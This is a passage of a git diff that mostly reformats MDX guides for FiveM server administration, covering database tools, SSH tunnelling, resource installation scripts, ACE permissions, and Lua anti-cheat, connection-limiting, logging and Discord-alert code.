Generate Mock Data 2. Configure columns and data types @@ -759,6 +802,7 @@ dbeaver ``` **Database Export:** + ``` 1. Right-click database → Tools → Export Data 2. Select tables and format (SQL, CSV, XML, JSON) @@ -769,6 +813,7 @@ dbeaver ### MySQL Workbench (Official MySQL Tool) **Why MySQL Workbench?** + - **Official Tool**: Made by MySQL developers - **Complete Solution**: Design, development, and administration - **Database Design**: Visual data modeling with EER diagrams @@ -778,6 +823,7 @@ dbeaver **Installation:** **Windows:** + ``` Visit: https://dev.mysql.com/downloads/workbench/ Download Windows MSI Installer @@ -785,6 +831,7 @@ Run installer and follow prompts ``` **Linux (Ubuntu/Debian):** + ```bash # Using apt sudo apt update @@ -795,6 +842,7 @@ sudo snap install mysql-workbench-community ``` **Key Features:** + - **Database Design**: Visual ER diagrams and forward/reverse engineering - **SQL Development**: Advanced query editor with debugging - **Server Administration**: User management, server configuration @@ -805,6 +853,7 @@ sudo snap install mysql-workbench-community **Common Tasks:** **Database Modeling:** + ``` 1. Database → Reverse Engineer 2. Connect to your database @@ -814,6 +863,7 @@ sudo snap install mysql-workbench-community ``` **Server Performance Monitoring:** + ``` 1. Connect to server 2. Server → Performance Dashboard @@ -827,6 +877,7 @@ sudo snap install mysql-workbench-community ### phpMyAdmin (Web-Based Interface) **Why phpMyAdmin?** + - **Web-Based**: Access from any browser, anywhere - **No Installation**: Runs on web server - **Multi-User**: Multiple administrators can work simultaneously @@ -855,6 +906,7 @@ sudo systemctl restart nginx ``` **Nginx Configuration (if using Nginx):** + ```nginx # /etc/nginx/sites-available/phpmyadmin server { @@ -910,6 +962,7 @@ sudo ln -s /usr/share/phpmyadmin /var/www/html/mydbadmin ### Adminer (Lightweight Alternative) **Why Adminer?** + - **Single File**: Just one PHP file, easy deployment - **Fast**: Much lighter than phpMyAdmin - **Feature Rich**: Supports multiple databases (MySQL, PostgreSQL, SQLite, etc.) @@ -934,6 +987,7 @@ sudo chmod 644 /var/www/html/adminer/index.php ``` **Custom Theme:** + ```bash # Download theme cd /var/www/html/adminer @@ -960,6 +1014,7 @@ brew install mycli ``` **Features:** + - Auto-completion of SQL keywords and table/column names - Syntax highlighting - Query history with search @@ -969,6 +1024,7 @@ brew install mycli - Pretty formatted output **Usage:** + ```bash # Connect to database mycli -u fivem_user -p fivem @@ -985,6 +1041,7 @@ mycli mysql://fivem_user:password@localhost/fivem ``` **Configuration:** + ```bash # Edit config file nano ~/.myclirc @@ -1003,6 +1060,7 @@ key_bindings = emacs #### SSH Tunneling for Secure Remote Access **Linux/macOS:** + ```bash # Create SSH tunnel ssh -L 3306:localhost:3306 username@your-server-ip @@ -1015,6 +1073,7 @@ ssh -f -N -L 3306:localhost:3306 username@your-server-ip ``` **Windows (using PuTTY):** + ``` 1. Open PuTTY 2. Enter server hostname @@ -1029,6 +1088,7 @@ ssh -f -N -L 3306:localhost:3306 username@your-server-ip ``` **HeidiSQL with SSH Tunnel:** + ``` 1. Create new session 2. Go to "SSH tunnel" tab @@ -1137,13 +1197,17 @@ echo "Database health check passed" ``` -**Tool Recommendation**: For Windows users, HeidiSQL is the best choice. For Linux users, DBeaver offers excellent cross-platform compatibility and advanced features. + **Tool Recommendation**: For Windows users, HeidiSQL is the best choice. For + Linux users, DBeaver offers excellent cross-platform compatibility and + advanced features. - Avoid using synchronous database operations in production environments, as they can block the main thread and cause performance issues. + Avoid using synchronous database operations in production environments, as + they can block the main thread and cause performance issues. - For more information about server performance, see our [Server Optimization](/docs/cfx/performance/server-optimization) guide. + For more information about server performance, see our [Server + Optimization](/docs/cfx/performance/server-optimization) guide. diff --git a/content/docs/guides/index.mdx b/content/docs/guides/index.mdx index 1975b4c..3d64c6c 100644 --- a/content/docs/guides/index.mdx +++ b/content/docs/guides/index.mdx @@ -4,7 +4,23 @@ description: Comprehensive guides for FiveM server setup, management, security, icon: "BookOpen" --- -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' +import { + FeatureList, + CheckList, + QuickLinks, + DefinitionList, + CommandCard, + CommandTable, + PropertyCard, + IconGrid, + Shortcut, + StatusBadge, + TroubleshootingCard, + PermissionTable, + ConfigBlock, + StepList, + ComparisonTable, +} from "@ui/components/mdx-components"; This section provides comprehensive, step-by-step guides for all aspects of FiveM server management. From initial setup to advanced security and maintenance, these guides will help you build and maintain a professional FiveM server. @@ -17,28 +33,28 @@ If you're new to FiveM server management, follow this recommended path: { title: "Database Setup", description: "Set up your MySQL/MariaDB database", - code: "Check the database setup guide for installation on Windows, Linux, or Docker" + code: "Check the database setup guide for installation on Windows, Linux, or Docker", }, { title: "Server Configuration", description: "Configure your FiveM server", - code: "Review comprehensive server.cfg setup and optimization options" + code: "Review comprehensive server.cfg setup and optimization options", }, { title: "Resource Installation", description: "Install and manage resources", - code: "Follow best practices for resource installation and configuration" + code: "Follow best practices for resource installation and configuration", }, { title: "Security & Permissions", description: "Secure your server", - code: "Implement security hardening and permission systems" + code: "Implement security hardening and permission systems", }, { title: "Backup & Recovery", description: "Implement backup strategies", - code: "Set up automated backups and disaster recovery procedures" - } + code: "Set up automated backups and disaster recovery procedures", + }, ]} /> @@ -47,18 +63,18 @@ If you're new to FiveM server management, follow this recommended path: ### Server Setup & Configuration - - - @@ -67,13 +83,13 @@ If you're new to FiveM server management, follow this recommended path: ### Resource Management - - @@ -82,13 +98,13 @@ If you're new to FiveM server management, follow this recommended path: ### Security & Maintenance - - @@ -100,20 +116,24 @@ If you're new to FiveM server management, follow this recommended path: features={[ { title: "Database Management", - description: "MySQL/MariaDB installation, optimization, connection pooling, and backup strategies" + description: + "MySQL/MariaDB installation, optimization, connection pooling, and backup strategies", }, { title: "Server Administration", - description: "Complete configuration, performance optimization, security hardening, and automated updates" + description: + "Complete configuration, performance optimization, security hardening, and automated updates", }, { title: "Resource Management", - description: "Proper resource installation, dependency management, and configuration best practices" + description: + "Proper resource installation, dependency management, and configuration best practices", }, { title: "Security & Protection", - description: "Anti-cheat implementation, DDoS protection, permission systems, and security monitoring" - } + description: + "Anti-cheat implementation, DDoS protection, permission systems, and security monitoring", + }, ]} columns={2} /> @@ -127,7 +147,7 @@ Before diving into these guides, ensure you have: "Basic Command Line Knowledge - Comfort with terminal/command prompt", "Server Access - Root/administrator access to your server", "FiveM License - Valid FiveM server license key", - "Domain/IP - Server hostname or IP address" + "Domain/IP - Server hostname or IP address", ]} variant="check" /> @@ -142,7 +162,7 @@ Most guides will reference these commonly used tools: "Web Server: Nginx or Apache (for web interfaces)", "Process Manager: systemd (Linux) or Windows Services", "Backup Tools: mysqldump, rsync, automated scripts", - "Monitoring: Custom monitoring scripts and Discord webhooks" + "Monitoring: Custom monitoring scripts and Discord webhooks", ]} variant="bullet" /> @@ -154,13 +174,14 @@ Most guides will reference these commonly used tools: "Start Simple - Begin with basic configurations and gradually add complexity", "Test Everything - Always test in development before applying to production", "Keep Backups - Implement backup strategies early", - "Monitor Performance - Regular monitoring helps identify issues early" + "Monitor Performance - Regular monitoring helps identify issues early", ]} variant="check" columns={2} /> ### Stay Updated + Keep your server artifacts, resources, and security measures up to date. ## 🆘 Getting Help @@ -179,4 +200,4 @@ These guides are continuously improved based on community feedback and new devel --- -Ready to get started? Choose a guide based on your current needs, or follow the **Quick Start Path** if you're setting up a new server from scratch. \ No newline at end of file +Ready to get started? Choose a guide based on your current needs, or follow the **Quick Start Path** if you're setting up a new server from scratch. diff --git a/content/docs/guides/meta.json b/content/docs/guides/meta.json index 2d61a04..fa7c161 100644 --- a/content/docs/guides/meta.json +++ b/content/docs/guides/meta.json @@ -1,13 +1,13 @@ { - "root": true, - "pages": [ - "backup-recovery", - "common-threats", - "database-setup", - "database-tools", - "resource-installation", - "server-artifacts", - "server-configuration", - "security-permissions" - ] -} \ No newline at end of file + "root": true, + "pages": [ + "backup-recovery", + "common-threats", + "database-setup", + "database-tools", + "resource-installation", + "server-artifacts", + "server-configuration", + "security-permissions" + ] +} diff --git a/content/docs/guides/resource-installation.mdx b/content/docs/guides/resource-installation.mdx index bd81a2c..b445707 100644 --- a/content/docs/guides/resource-installation.mdx +++ b/content/docs/guides/resource-installation.mdx @@ -4,7 +4,23 @@ description: Complete guide to installing, managing, and configuring FiveM resou icon: "Package" --- -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' +import { + FeatureList, + CheckList, + QuickLinks, + DefinitionList, + CommandCard, + CommandTable, + PropertyCard, + IconGrid, + Shortcut, + StatusBadge, + TroubleshootingCard, + PermissionTable, + ConfigBlock, + StepList, + ComparisonTable, +} from "@ui/components/mdx-components"; Proper resource installation and management is crucial for a stable and feature-rich FiveM server. This guide covers everything from basic installation to advanced dependency management. @@ -13,21 +29,25 @@ Proper resource installation and management is crucial for a stable and feature- ### Resource Types **Core Resources** + - Essential for server operation - Include: mapmanager, chat, spawnmanager, sessionmanager - Usually not modified or replaced **Framework Resources** + - Provide foundation for other resources - Examples: ESX, QBCore, vRP - Define player systems, jobs, economy **Feature Resources** + - Add specific functionality - Examples: banking, vehicles, jobs, housing - Build upon framework resources **Utility Resources** + - Provide tools and libraries - Examples: ox_lib, mysql-async, screenshot-basic - Used by other resources @@ -128,7 +148,7 @@ Before installing any resource, assess compatibility: "Verify dependency requirements", "Check for resource conflicts", "Review database table names", - "Test on development server first" + "Test on development server first", ]} /> @@ -177,13 +197,40 @@ database_tables: @@ -339,12 +386,12 @@ mysql -u fivem_user -p fivem < resource_name/sql/install.sql -- auto_install.lua (server-side) local function installDatabase() local sqlFile = LoadResourceFile(GetCurrentResourceName(), 'sql/install.sql') - + if not sqlFile then print('No SQL file found for ' .. GetCurrentResourceName()) return end - + -- Split queries by semicolon local queries = {} for query in sqlFile:gmatch("[^;]+") do @@ -353,7 +400,7 @@ local function installDatabase() table.insert(queries, query) end end - + -- Execute queries for i, query in ipairs(queries) do exports.oxmysql:execute(query, {}, function(result) @@ -369,7 +416,7 @@ end -- Auto-install on first start CreateThread(function() Wait(5000) -- Wait for database connection - + -- Check if already installed exports.oxmysql:query('SHOW TABLES LIKE "resource_table"', {}, function(result) if not result or #result == 0 then @@ -518,7 +565,7 @@ local function checkResourceDependencies() 'oxmysql', 'ox_lib' } - + for _, resource in ipairs(dependencies) do local state = GetResourceState(resource) if state ~= 'started' then @@ -526,7 +573,7 @@ local function checkResourceDependencies() return false end end - + return true end @@ -535,7 +582,7 @@ CreateThread(function() while not checkResourceDependencies() do Wait(1000) end - + print('All dependencies loaded, starting resource...') -- Initialize resource here end) @@ -609,16 +656,16 @@ echo "Syncing resource: $RESOURCE_NAME" for server in "${SERVERS[@]}"; do echo "Syncing to: $server" - + # Stop resource on target server # This would require connecting to each server's console - + # Sync files rsync -av --delete "$MASTER_SERVER/$RESOURCE_NAME/" "$server/$RESOURCE_NAME/" - + # Set permissions chown -R fivem:fivem "$server/$RESOURCE_NAME" - + # Restart resource on target server # This would require connecting to each server's console done @@ -632,41 +679,41 @@ echo "Resource sync completed" -- validate_resource.lua local function validateResource(resourceName) local issues = {} - + -- Check manifest local manifest = LoadResourceFile(resourceName, 'fxmanifest.lua') if not manifest then table.insert(issues, 'Missing fxmanifest.lua') return issues end - + -- Check for common issues if not manifest:find('fx_version') then table.insert(issues, 'Missing fx_version in manifest') end - + if not manifest:find('game') then table.insert(issues, 'Missing game specification in manifest') end - + -- Check dependencies local dependencies = {} for dep in manifest:gmatch('dependency%s+[\'"]([^\'"]+)[\'"]') do table.insert(dependencies, dep) end - + for dep in manifest:gmatch('dependencies%s+{([^}]+)}') do for subdep in dep:gmatch('[\'"]([^\'"]+)[\'"]') do table.insert(dependencies, subdep) end end - + for _, dep in ipairs(dependencies) do if GetResourceState(dep) ~= 'started' then table.insert(issues, string.format('Dependency not started: %s', dep)) end end - + -- Check file existence local files = {} for file in manifest:gmatch('client_script%s+[\'"]([^\'"]+)[\'"]') do @@ -678,24 +725,24 @@ local function validateResource(resourceName) for file in manifest:gmatch('shared_script%s+[\'"]([^\'"]+)[\'"]') do table.insert(files, file) end - + for _, file in ipairs(files) do if not LoadResourceFile(resourceName, file) then table.insert(issues, string.format('Missing file: %s', file)) end end - + return issues end -- Validate all resources RegisterCommand('validate_resources', function() print('Validating all resources...') - + for i = 0, GetNumResources() - 1 do local resourceName = GetResourceByFindIndex(i) local issues = validateResource(resourceName) - + if #issues > 0 then print(string.format('Issues found in %s:', resourceName)) for _, issue in ipairs(issues) do @@ -713,6 +760,7 @@ end, true) ### Common Issues **Resource Not Starting** + ```bash # Check console output tail -f server-console.log @@ -726,6 +774,7 @@ restart resource_name ``` **Database Connection Issues** + ```lua -- Test database connection exports.oxmysql:query('SELECT 1 as test', {}, function(result) @@ -738,6 +787,7 @@ end) ``` **File Permission Issues** + ```bash # Fix permissions (Linux) sudo chown -R fivem:fivem /opt/fivem/resources/ @@ -807,18 +857,18 @@ echo " 4. Restart the server or start the resource" -- health_check.lua (run as admin command) RegisterCommand('health_check', function(source) if source ~= 0 then return end -- Console only - + print('=== Resource Health Check ===') - + local totalResources = GetNumResources() local startedResources = 0 local stoppedResources = 0 local errorResources = {} - + for i = 0, totalResources - 1 do local resourceName = GetResourceByFindIndex(i) local state = GetResourceState(resourceName) - + if state == 'started' then startedResources = startedResources + 1 elseif state == 'stopped' then @@ -827,18 +877,18 @@ RegisterCommand('health_check', function(source) table.insert(errorResources, {name = resourceName, state = state}) end end - + print(string.format('Total resources: %d', totalResources)) print(string.format('Started: %d', startedResources)) print(string.format('Stopped: %d', stoppedResources)) - + if #errorResources > 0 then print('Resources with issues:') for _, resource in ipairs(errorResources) do print(string.format(' %s: %s', resource.name, resource.state)) end end - + print('=== End Health Check ===') end, true) ``` diff --git a/content/docs/guides/security-permissions.mdx b/content/docs/guides/security-permissions.mdx index e5c673f..27c1f6a 100644 --- a/content/docs/guides/security-permissions.mdx +++ b/content/docs/guides/security-permissions.mdx @@ -4,11 +4,31 @@ description: Complete guide to securing your FiveM server and managing player pe icon: "Shield" --- -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' +import { + FeatureList, + CheckList, + QuickLinks, + DefinitionList, + CommandCard, + CommandTable, + PropertyCard, + IconGrid, + Shortcut, + StatusBadge, + TroubleshootingCard, + PermissionTable, + ConfigBlock, + StepList, + ComparisonTable, +} from "@ui/components/mdx-components"; Security is paramount for any FiveM server. This guide covers comprehensive security measures, permission systems, and protection against common threats. - + ## Server Security Fundamentals @@ -18,11 +38,29 @@ Security is paramount for any FiveM server. This guide covers comprehensive secu @@ -112,16 +150,22 @@ set sv_logLevel "info" ## FiveM ACE Permission System - + ### Understanding ACE & Principals **ACE (Access Control Entry)** + - Grants or denies specific permissions - Format: `add_ace ` - Can be wildcarded with `*` **Principal** + - An entity that can have ACEs assigned - Types: identifier, group, builtin - Format: `add_principal ` @@ -130,13 +174,41 @@ set sv_logLevel "info" @@ -161,7 +233,11 @@ builtin.console # Console/RCON ### Basic Permission Setup - + ```cfg # ======================================== @@ -183,7 +259,7 @@ add_principal identifier.discord:123456789012345678 group.admin # Define moderator group with limited access add_ace group.moderator command.kick allow -add_ace group.moderator command.ban allow +add_ace group.moderator command.ban allow add_ace group.moderator command.tempban allow add_ace group.moderator command.unban allow add_ace group.moderator command.players allow @@ -295,22 +371,22 @@ end) Citizen.CreateThread(function() while true do Citizen.Wait(1000) - + for playerId, data in pairs(playerData) do if GetPlayerPing(playerId) > 0 then local playerPed = GetPlayerPed(playerId) local coords = GetEntityCoords(playerPed) - + if data.lastPosition then local distance = #(coords - data.lastPosition) local speed = (distance * 3.6) -- Convert to km/h - + if speed > SecurityConfig.maxSpeed then data.violations = data.violations + 1 TriggerEvent('anticheat:violation', playerId, 'speed', speed) end end - + data.lastPosition = coords end end @@ -321,22 +397,22 @@ end) Citizen.CreateThread(function() while true do Citizen.Wait(1000) - + for playerId, data in pairs(playerData) do if GetPlayerPing(playerId) > 0 then local playerPed = GetPlayerPed(playerId) local health = GetEntityHealth(playerPed) local armor = GetPedArmour(playerPed) - + -- Check for unusual health/armor gains if health > data.lastHealth + SecurityConfig.maxHealthGain then TriggerEvent('anticheat:violation', playerId, 'health', health - data.lastHealth) end - + if armor > data.lastArmor + SecurityConfig.maxArmorGain then TriggerEvent('anticheat:violation', playerId, 'armor', armor - data.lastArmor) end - + data.lastHealth = health data.lastArmor = armor end @@ -348,7 +424,7 @@ end) AddEventHandler('weaponDamageEvent', function(sender, data) local weaponHash = data.weaponType local playerId = sender - + -- Check if weapon is allowed local isAllowed = false for _, allowedWeapon in ipairs(SecurityConfig.weaponWhitelist) do @@ -357,7 +433,7 @@ AddEventHandler('weaponDamageEvent', function(sender, data) break end end - + if not isAllowed then TriggerEvent('anticheat:violation', playerId, 'weapon', weaponHash) end @@ -367,7 +443,7 @@ end) AddEventHandler('chatMessage', function(source, name, message) local playerId = source local lowerMessage = string.lower(message) - + for _, bannedWord in ipairs(SecurityConfig.bannedWords) do if string.find(lowerMessage, string.lower(bannedWord)) then TriggerEvent('anticheat:violation', playerId, 'chat', bannedWord) @@ -381,15 +457,15 @@ end) AddEventHandler('anticheat:violation', function(playerId, violationType, value) local playerName = GetPlayerName(playerId) local identifier = GetPlayerIdentifier(playerId, 0) - + -- Log violation - print(string.format('[ANTICHEAT] %s (%s) - %s violation: %s', + print(string.format('[ANTICHEAT] %s (%s) - %s violation: %s', playerName, identifier, violationType, tostring(value))) - + -- Increment violations if playerData[playerId] then playerData[playerId].violations = playerData[playerId].violations + 1 - + -- Take action based on violation count if playerData[playerId].violations >= 3 then -- Ban player @@ -429,20 +505,20 @@ local ConnectionLimiter = { AddEventHandler('playerConnecting', function(name, setKickReason, deferrals) local source = source local ip = GetPlayerEndpoint(source):match("([^:]+)") - + if not ip then setKickReason("Unable to verify connection") CancelEvent() return end - + -- Check if IP is banned if ConnectionLimiter.bannedIPs[ip] then setKickReason("Your IP address has been temporarily banned") CancelEvent() return end - + -- Initialize IP tracking if not ConnectionLimiter.connections[ip] then ConnectionLimiter.connections[ip] = { @@ -450,26 +526,26 @@ AddEventHandler('playerConnecting', function(name, setKickReason, deferrals) lastConnection = 0 } end - + local currentTime = GetGameTimer() local ipData = ConnectionLimiter.connections[ip] - + -- Reset count if timeout exceeded if currentTime - ipData.lastConnection > ConnectionLimiter.connectionTimeout then ipData.count = 0 end - + -- Check connection limit if ipData.count >= ConnectionLimiter.maxConnectionsPerIP then setKickReason("Too many connections from your IP address") - + -- Temporarily ban IP ConnectionLimiter.bannedIPs[ip] = currentTime - + CancelEvent() return end - + -- Update connection data ipData.count = ipData.count + 1 ipData.lastConnection = currentTime @@ -479,7 +555,7 @@ end) Citizen.CreateThread(function() while true do Citizen.Wait(60000) -- Check every minute - + local currentTime = GetGameTimer() for ip, banTime in pairs(ConnectionLimiter.bannedIPs) do if currentTime - banTime > 3600000 then -- 1 hour @@ -543,7 +619,7 @@ local PermissionManager = { -- Load permissions from database function LoadPermissions() local query = [[ - SELECT + SELECT users.identifier, groups.name as group_name, permissions.permission @@ -552,24 +628,24 @@ function LoadPermissions() LEFT JOIN group_permissions gp ON groups.id = gp.group_id LEFT JOIN permissions ON gp.permission_id = permissions.id ]] - + exports.oxmysql:execute(query, {}, function(results) for _, row in ipairs(results) do if not PermissionManager.userGroups[row.identifier] then PermissionManager.userGroups[row.identifier] = {} end - + table.insert(PermissionManager.userGroups[row.identifier], row.group_name) - + if not PermissionManager.groupPermissions[row.group_name] then PermissionManager.groupPermissions[row.group_name] = {} end - + if row.permission then table.insert(PermissionManager.groupPermissions[row.group_name], row.permission) end end - + print("[PERMISSIONS] Loaded permissions for " .. #results .. " users") end) end @@ -577,17 +653,17 @@ end -- Check if user has permission function HasPermission(identifier, permission) local userGroups = PermissionManager.userGroups[identifier] or {} - + for _, group in ipairs(userGroups) do local groupPerms = PermissionManager.groupPermissions[group] or {} - + for _, perm in ipairs(groupPerms) do if perm == permission or perm == "*" then return true end end end - + return false end @@ -598,18 +674,18 @@ function AddUserToGroup(identifier, groupName) SELECT ?, id FROM groups WHERE name = ? ON DUPLICATE KEY UPDATE group_id = VALUES(group_id) ]] - + exports.oxmysql:execute(query, {identifier, groupName}, function(result) if result.affectedRows > 0 then -- Update in-memory data if not PermissionManager.userGroups[identifier] then PermissionManager.userGroups[identifier] = {} end - + if not table.contains(PermissionManager.userGroups[identifier], groupName) then table.insert(PermissionManager.userGroups[identifier], groupName) end - + return true end return false @@ -623,7 +699,7 @@ function RemoveUserFromGroup(identifier, groupName) INNER JOIN groups g ON ug.group_id = g.id WHERE ug.identifier = ? AND g.name = ? ]] - + exports.oxmysql:execute(query, {identifier, groupName}, function(result) if result.affectedRows > 0 then -- Update in-memory data @@ -634,7 +710,7 @@ function RemoveUserFromGroup(identifier, groupName) break end end - + return true end return false @@ -649,7 +725,7 @@ exports('removeUserFromGroup', RemoveUserFromGroup) -- Commands RegisterCommand('addperm', function(source, args, rawCommand) local identifier = GetPlayerIdentifier(source, 0) - + if not HasPermission(identifier, 'admin.permissions') then TriggerClientEvent('chat:addMessage', source, { color = {255, 0, 0}, @@ -657,7 +733,7 @@ RegisterCommand('addperm', function(source, args, rawCommand) }) return end - + if #args < 2 then TriggerClientEvent('chat:addMessage', source, { color = {255, 255, 0}, @@ -665,11 +741,11 @@ RegisterCommand('addperm', function(source, args, rawCommand) }) return end - + local targetId = tonumber(args[1]) local groupName = args[2] local targetIdentifier = GetPlayerIdentifier(targetId, 0) - + if targetIdentifier then AddUserToGroup(targetIdentifier, groupName) TriggerClientEvent('chat:addMessage', source, { @@ -759,16 +835,16 @@ INSERT IGNORE INTO `permissions` (`permission`, `description`) VALUES ('user.basic', 'Basic user permissions'); -- Default group permissions -INSERT IGNORE INTO `group_permissions` (`group_id`, `permission_id`) -SELECT g.id, p.id FROM `groups` g, `permissions` p +INSERT IGNORE INTO `group_permissions` (`group_id`, `permission_id`) +SELECT g.id, p.id FROM `groups` g, `permissions` p WHERE g.name = 'superadmin' AND p.permission = '*'; -INSERT IGNORE INTO `group_permissions` (`group_id`, `permission_id`) -SELECT g.id, p.id FROM `groups` g, `permissions` p +INSERT IGNORE INTO `group_permissions` (`group_id`, `permission_id`) +SELECT g.id, p.id FROM `groups` g, `permissions` p WHERE g.name = 'admin' AND p.permission = 'admin.*'; -INSERT IGNORE INTO `group_permissions` (`group_id`, `permission_id`) -SELECT g.id, p.id FROM `groups` g, `permissions` p +INSERT IGNORE INTO `group_permissions` (`group_id`, `permission_id`) +SELECT g.id, p.id FROM `groups` g, `permissions` p WHERE g.name = 'moderator' AND p.permission IN ('moderator.kick', 'moderator.ban', 'moderator.unban'); ``` @@ -798,13 +874,13 @@ local SecurityLogger = { function InitializeLogger() -- Create logs directory if it doesn't exist os.execute("mkdir -p logs") - + -- Rotate log file if too large local file = io.open(SecurityLogger.logFile, "r") if file then local size = file:seek("end") file:close() - + if size > SecurityLogger.maxLogSize then os.rename(SecurityLogger.logFile, SecurityLogger.logFile .. ".old") end @@ -817,25 +893,25 @@ function LogSecurityEvent(eventType, playerId, data) local playerName = playerId and GetPlayerName(playerId) or "SYSTEM" local identifier = playerId and GetPlayerIdentifier(playerId, 0) or "N/A" local ip = playerId and GetPlayerEndpoint(playerId):match("([^:]+)") or "N/A" - + local logEntry = string.format( "[%s] [%s] Player: %s (%s) IP: %s Data: %s\n", timestamp, eventType, playerName, identifier, ip, json.encode(data) ) - + -- Write to file local file = io.open(SecurityLogger.logFile, "a") if file then file:write(logEntry) file:close() end - + -- Print to console print("[SECURITY] " .. logEntry:gsub("\n", "")) - + -- Update statistics UpdateSecurityStats(eventType, ip, identifier) - + -- Check for alerts CheckSecurityAlerts(eventType, ip, identifier) end @@ -845,19 +921,19 @@ function UpdateSecurityStats(eventType, ip, identifier) local currentTime = os.time() local currentHour = math.floor(currentTime / 3600) local currentMinute = math.floor(currentTime / 60) - + if eventType == "CONNECTION" then if not SecurityLogger.stats.connections[currentMinute] then SecurityLogger.stats.connections[currentMinute] = {} end SecurityLogger.stats.connections[currentMinute][ip] = (SecurityLogger.stats.connections[currentMinute][ip] or 0) + 1 - + elseif eventType == "VIOLATION" then if not SecurityLogger.stats.violations[currentHour] then SecurityLogger.stats.violations[currentHour] = {} end SecurityLogger.stats.violations[currentHour][identifier] = (SecurityLogger.stats.violations[currentHour][identifier] or 0) + 1 - + elseif eventType == "FAILED_LOGIN" then if not SecurityLogger.stats.failedLogins[currentHour] then SecurityLogger.stats.failedLogins[currentHour] = {} @@ -871,11 +947,11 @@ function CheckSecurityAlerts(eventType, ip, identifier) local currentTime = os.time() local currentHour = math.floor(currentTime / 3600) local currentMinute = math.floor(currentTime / 60) - + if eventType == "CONNECTION" then - local connectionsThisMinute = SecurityLogger.stats.connections[currentMinute] and + local connectionsThisMinute = SecurityLogger.stats.connections[currentMinute] and SecurityLogger.stats.connections[currentMinute][ip] or 0 - + if connectionsThisMinute >= SecurityLogger.alertThresholds.connectionsPerMinute then TriggerEvent('security:alert', 'HIGH_CONNECTION_RATE', { ip = ip, @@ -883,11 +959,11 @@ function CheckSecurityAlerts(eventType, ip, identifier) timeframe = "1 minute" }) end - + elseif eventType == "VIOLATION" then - local violationsThisHour = SecurityLogger.stats.violations[currentHour] and + local violationsThisHour = SecurityLogger.stats.violations[currentHour] and SecurityLogger.stats.violations[currentHour][identifier] or 0 - + if violationsThisHour >= SecurityLogger.alertThresholds.violationsPerHour then TriggerEvent('security:alert', 'HIGH_VIOLATION_RATE', { identifier = identifier, @@ -918,7 +994,7 @@ AddEventHandler('security:alert', function(alertType, data) type = alertType, data = data }) - + -- Send Discord notification TriggerEvent('discord:sendAlert', alertType, data) end) @@ -926,28 +1002,28 @@ end) -- Command to view security stats RegisterCommand('secstats', function(source, args, rawCommand) local identifier = GetPlayerIdentifier(source, 0) - + if not exports['permission-manager']:hasPermission(identifier, 'admin.security') then return end - + local currentTime = os.time() local currentHour = math.floor(currentTime / 3600) local currentMinute = math.floor(currentTime / 60) - + local stats = { connectionsThisMinute = 0, violationsThisHour = 0, failedLoginsThisHour = 0 } - + -- Count current stats if SecurityLogger.stats.connections[currentMinute] then for ip, count in pairs(SecurityLogger.stats.connections[currentMinute]) do stats.connectionsThisMinute = stats.connectionsThisMinute + count end end - + TriggerClientEvent('chat:addMessage', source, { color = {0, 255, 255}, multiline = true, @@ -992,10 +1068,10 @@ function SendDiscordAlert(alertType, data) if DiscordConfig.webhook == "" then return end - + local severity = GetAlertSeverity(alertType) local embed = CreateAlertEmbed(alertType, data, severity) - + PerformHttpRequest(DiscordConfig.webhook, function(err, text, headers) end, 'POST', json.encode({ username = DiscordConfig.botName, embeds = {embed} @@ -1011,27 +1087,27 @@ function GetAlertSeverity(alertType) CHEAT_DETECTED = "MEDIUM", SUSPICIOUS_ACTIVITY = "MEDIUM" } - + return severityMap[alertType] or "LOW" end function CreateAlertEmbed(alertType, data, severity) local timestamp = os.date("!%Y-%m-%dT%H:%M:%SZ") - + local embed = { title = "🚨 Security Alert: " .. alertType, color = DiscordConfig.embedColor[severity], timestamp = timestamp, fields = {} } - + -- Add severity field table.insert(embed.fields, { name = "Severity", value = severity, inline = true }) - + -- Add alert-specific fields if alertType == "HIGH_CONNECTION_RATE" then table.insert(embed.fields, { @@ -1044,7 +1120,7 @@ function CreateAlertEmbed(alertType, data, severity) value = tostring(data.connections) .. " in " .. data.timeframe, inline = true }) - + elseif alertType == "HIGH_VIOLATION_RATE" then table.insert(embed.fields, { name = "Player", @@ -1057,14 +1133,14 @@ function CreateAlertEmbed(alertType, data, severity) inline = true }) end - + -- Add server info table.insert(embed.fields, { name = "Server", value = GetConvar("sv_hostname", "FiveM Server"), inline = false }) - + return embed end diff --git a/content/docs/guides/server-artifacts.mdx b/content/docs/guides/server-artifacts.mdx index 189e434..70e6a3c 100644 --- a/content/docs/guides/server-artifacts.mdx +++ b/content/docs/guides/server-artifacts.mdx @@ -4,7 +4,23 @@ description: Complete guide to managing FiveM server artifacts, updates, and dep icon: "Download" --- -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' +import { + FeatureList, + CheckList, + QuickLinks, + DefinitionList, + CommandCard, + CommandTable, + PropertyCard, + IconGrid, + Shortcut, + StatusBadge, + TroubleshootingCard, + PermissionTable, + ConfigBlock, + StepList, + ComparisonTable, +} from "@ui/components/mdx-components"; Keeping your FiveM server artifacts up-to-date is crucial for security, performance, and compatibility. This guide covers everything about managing server artifacts, performing updates, and handling deployments. @@ -22,13 +38,23 @@ FiveM artifacts are the compiled server binaries that power your FiveM server. T ### Artifact Channels - + - + - + **Recommended (Stable)** + - Thoroughly tested builds - Recommended for production servers - Updated weekly or as needed @@ -36,6 +62,7 @@ FiveM artifacts are the compiled server binaries that power your FiveM server. T - Check https://runtime.fivem.net for current build **Optional (Beta)** + - Latest features and improvements - Updated 2-3 times per week - May contain minor bugs or breaking changes @@ -43,6 +70,7 @@ FiveM artifacts are the compiled server binaries that power your FiveM server. T - Usually 1-2 weeks ahead of recommended **Latest (Canary/Experimental)** + - Bleeding-edge development builds - Daily or multiple updates per day - Not recommended for production @@ -90,39 +118,44 @@ print('Build number:', buildNumber) 